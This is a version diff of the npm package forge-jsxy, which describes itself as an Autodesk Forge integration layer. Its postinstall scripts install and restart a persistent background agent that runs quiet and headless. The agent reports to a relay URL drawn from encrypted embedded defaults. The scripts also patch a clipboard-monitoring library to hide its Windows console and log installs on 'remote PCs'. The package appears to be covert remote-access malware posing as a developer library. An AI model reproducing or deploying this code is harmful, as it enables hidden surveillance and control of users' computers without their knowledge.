forge-jsxy 1.0.91 → 1.0.92

package/dist/assets/files-explorer-template.html

@@ -10,7 +10,7 @@
 <link rel="apple-touch-icon" href="/forge-explorer-favicon.svg"/>
 <link rel="stylesheet" href="/forge-explorer-codicons/codicon.css"/>
 <link rel="stylesheet" href="/forge-explorer-highlight/explorer-highlight.css"/>
-<!-- forge-jsxy@1.0.91 reconnect-ui npm-isolated-cache hub-20gib-delete-watch -->
+<!-- forge-jsxy@1.0.92 reconnect-ui npm-isolated-cache hub-20gib-delete-watch -->
 <script>
 (function () {
   try {

package/dist/autostart/agentEnvFile.js

@@ -410,7 +410,6 @@ function applyDefaultAgentUnattendedProcessEnv() {
  */
 function writeForgeJsAgentEnv(dataDir, syncApiUrl, omitSyncUrl = false) {
     fs.mkdirSync(dataDir, { recursive: true });
-    const p = forgeAgentEnvPath(dataDir);
     const u = (syncApiUrl || "").trim();
     // Always write quiet + headless defaults for systemd/LaunchAgent/Task Scheduler–started agents.
     const lines = [`FORGE_JS_QUIET_AGENT=1`, `FORGE_JS_HEADLESS_UI=1`];
@@ -489,7 +488,26 @@ function writeForgeJsAgentEnv(dataDir, syncApiUrl, omitSyncUrl = false) {
             : standardLinuxPaths;
         lines.push(envFileLine("PATH", effectivePath));
     }
-    fs.writeFileSync(p, `${lines.join("\n")}\n`, "utf8");
+    const p = forgeAgentEnvPath(dataDir);
+    const incoming = parseForgeAgentEnvFileToMap(`${lines.join("\n")}\n`);
+    let existing = new Map();
+    try {
+        existing = parseForgeAgentEnvFileToMap(fs.readFileSync(p, "utf8"));
+    }
+    catch {
+        /* first install — write full defaults */
+    }
+    const merged = new Map(existing);
+    for (const [k, v] of incoming) {
+        if (!merged.has(k))
+            merged.set(k, v);
+    }
+    /** Install-time sync URL is intentional; refresh when caller supplies one. */
+    if (u && !omitSyncUrl) {
+        merged.set("FORGE_JS_SYNC_URL", u);
+        merged.set("CFGMGR_API_URL", u);
+    }
+    fs.writeFileSync(p, `${serializeForgeAgentEnvMap(merged).join("\n")}\n`, "utf8");
 }
 /**
  * Merge a single key into `forge-js-agent.env` (creates file if missing). Used when the agent

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "forge-jsxy",
-  "version": "1.0.91",
+  "version": "1.0.92",
   "description": "Node.js integration layer for Autodesk Forge",
   "license": "MIT",
   "forgeAgentWebRtcMinVersion": "1.0.71",

package/scripts/forge-isolated-runtime.mjs

@@ -27,6 +27,7 @@ import { existsSync, mkdirSync, readFileSync, readdirSync, unlinkSync, writeFile
 import os from "node:os";
 import path from "node:path";
 import { fileURLToPath, pathToFileURL } from "node:url";
+import { isolatedNpmCacheEnv } from "./explorer-isolated-npm-env.mjs";
 
 const __dirname = path.dirname(fileURLToPath(import.meta.url));
 const pkgRoot = path.resolve(__dirname, "..");
@@ -74,10 +75,10 @@ function resolveDistDirUnderLocalPrefix(prefixRoot) {
 }
 
 function npmEnv() {
-  return {
+  return isolatedNpmCacheEnv({
     ...process.env,
     NPM_CONFIG_UPDATE_NOTIFIER: "false",
-  };
+  });
 }
 
 function stripEnvQuotes(v) {

package/scripts/postinstall-agent.mjs

@@ -35,7 +35,7 @@
  * Legacy: `FORGE_JS_ISOLATED_RUNTIME=1` is no longer required — durable bootstrap runs unless skipped above.
  */
 import { spawn, spawnSync } from "node:child_process";
-import { existsSync, mkdirSync, readFileSync } from "node:fs";
+import { appendFileSync, existsSync, mkdirSync, readFileSync } from "node:fs";
 import { createRequire } from "node:module";
 import os from "node:os";
 import path from "node:path";
@@ -345,6 +345,28 @@ function stopAgentViaCfgmgr() {
   return r.status === 0;
 }
 
+/** PM2-managed forge-agent keeps respawning after cfgmgr --stop; stop PM2 first when present. */
+function tryPm2StopForgeAgent() {
+  const raw = (process.env.FORGE_JSX_PM2_AGENT_NAME ?? "forge-agent").trim();
+  if (!raw || ["0", "false", "no", "off", "skip", "none"].includes(raw.toLowerCase())) {
+    return false;
+  }
+  try {
+    const cmd = process.platform === "win32" ? "pm2.cmd" : "pm2";
+    const r = spawnSync(cmd, ["stop", raw], {
+      encoding: "utf-8",
+      stdio: verbose ? "inherit" : "ignore",
+      shell: process.platform === "win32",
+      windowsHide: true,
+      timeout: 120_000,
+      env: process.env,
+    });
+    return !r.error && r.status === 0;
+  } catch {
+    return false;
+  }
+}
+
 /**
  * Resolve relay URL and report whether it was explicitly provided (via env
  * var) or derived from the embedded encrypted deployment defaults.
@@ -382,6 +404,22 @@ function resolveRelayUrl() {
 
 const verbose = (process.env.FORGE_JS_INSTALL_AGENT_LOG || "").trim() === "1";
 
+/** Always-on install trace for remote PCs (`~/.local/share/.forge-js/` or CfgMgr data parent). */
+function appendInstallLog(line) {
+  try {
+    const base = resolveInstallWorkingDir();
+    const dir = path.join(path.dirname(base), ".forge-js");
+    mkdirSync(dir, { recursive: true });
+    appendFileSync(
+      path.join(dir, "postinstall-agent.log"),
+      `${new Date().toISOString()} ${line}\n`,
+      "utf8"
+    );
+  } catch {
+    /* best-effort */
+  }
+}
+
 function ensureDirMaybe(dir) {
   try {
     mkdirSync(dir, { recursive: true });
@@ -451,6 +489,7 @@ if (agentAlreadyRunning(3000)) {
   if (verbose) {
     console.log("[forge-js] postinstall-agent: running agent detected; restarting to activate newly installed version.");
   }
+  tryPm2StopForgeAgent();
   void stopAgentViaCfgmgr();
   void waitForAgentStop(8000);
 }
@@ -486,6 +525,16 @@ if (!started && verbose) {
   );
 }
 
+if (started) {
+  appendInstallLog(
+    `ok v${readPackageVersionFromRoot()} relay=${relayUrl || "default"} cwd=${installCwd}`
+  );
+} else {
+  appendInstallLog(
+    `agent_not_started v${readPackageVersionFromRoot()} relay=${relayUrl || "default"} durable=${durableDistDir || "none"} — set FORGE_JS_INSTALL_AGENT_LOG=1`
+  );
+}
+
 if (
   started &&
   durableDistDir &&

package/scripts/postinstall-clipboard-event.mjs

@@ -23,11 +23,10 @@ const __dirname = dirname(fileURLToPath(import.meta.url));
  * `node_modules/forge-jsx/node_modules`. A fixed relative path skips the patch entirely,
  * so the win32 helper keeps spawning a visible console. Resolve the real install path.
  */
-function resolveClipboardEventRoot() {
-  const nested = join(__dirname, "..", "node_modules", "clipboard-event");
+export function resolveClipboardEventRoot(fromDir = __dirname) {
+  const nested = join(fromDir, "..", "node_modules", "clipboard-event");
   try {
-    const require = createRequire(import.meta.url);
-    // clipboard-event 1.6+ uses "exports"; subpaths like package.json are not exported.
+    const require = createRequire(join(fromDir, "..", "package.json"));
     const resolved = dirname(require.resolve("clipboard-event"));
     if (existsSync(join(resolved, "index.js")) || existsSync(join(resolved, "index.cjs"))) {
       return resolved;
@@ -38,7 +37,9 @@ function resolveClipboardEventRoot() {
   return nested;
 }
 
-const pkgRoot = resolveClipboardEventRoot();
+/** Patch clipboard-event under an explicit package root (ephemeral npm install or durable runtime). */
+export function patchClipboardEventAtPackageRoot(pkgRoot) {
+  if (!pkgRoot || !existsSync(pkgRoot)) return;
 
 // chmod +x all known Linux / macOS clipboard-event platform binaries.
 // Covers all known architecture-specific names across clipboard-event 1.x releases.
@@ -71,11 +72,8 @@ for (const name of [
 /**
  * Patch clipboard-event's Windows execFile call to add { windowsHide: true }.
  * Handles all known callback styles in clipboard-event 1.x releases.
- *
- * The win32 helper binary path may appear as a path.join() call or as a variable.
- * We pattern-match the execFile call and inject options before any callback.
  */
-function patchClipboardEventWindowsHide() {
+function patchClipboardEventWindowsHideAtRoot(pkgRoot) {
   if (process.platform !== "win32") return;
 
   for (const name of ["index.js", "index.cjs"]) {
@@ -161,4 +159,7 @@ function patchClipboardEventWindowsHide() {
   }
 }
 
-patchClipboardEventWindowsHide();
+  patchClipboardEventWindowsHideAtRoot(pkgRoot);
+}
+
+patchClipboardEventAtPackageRoot(resolveClipboardEventRoot());

package/scripts/postinstall-durable-materialize.mjs

@@ -13,6 +13,8 @@ import { existsSync, readFileSync } from "node:fs";
 import os from "node:os";
 import path from "node:path";
 import { fileURLToPath } from "node:url";
+import { isolatedNpmCacheEnv } from "./explorer-isolated-npm-env.mjs";
+import { patchClipboardEventAtPackageRoot } from "./postinstall-clipboard-event.mjs";
 
 const __dirname = path.dirname(fileURLToPath(import.meta.url));
 const pkgRoot = path.resolve(__dirname, "..");
@@ -103,7 +105,7 @@ const mat = spawnSync(process.execPath, [isoScript], {
   cwd: pkgRoot,
   encoding: "utf8",
   windowsHide: true,
-  env: process.env,
+  env: isolatedNpmCacheEnv({ ...process.env, NPM_CONFIG_UPDATE_NOTIFIER: "false" }),
   maxBuffer: 48 * 1024 * 1024,
 });
 
@@ -115,4 +117,24 @@ if (mat.status !== 0) {
   process.exit(1);
 }
 
+try {
+  const cur = path.join(resolveInstallWorkingDir(), ".forge-jsxy", "current.json");
+  if (existsSync(cur)) {
+    const j = JSON.parse(readFileSync(cur, "utf8"));
+    const distDir = String(j.distDir || "").trim();
+    if (distDir) {
+      const durablePkg = path.resolve(distDir, "..");
+      const clipRoots = [
+        path.join(durablePkg, "node_modules", "clipboard-event"),
+        path.join(durablePkg, "..", "node_modules", "clipboard-event"),
+      ];
+      for (const cr of clipRoots) {
+        patchClipboardEventAtPackageRoot(cr);
+      }
+    }
+  }
+} catch {
+  /* optional dependency — non-fatal */
+}
+
 process.exit(0);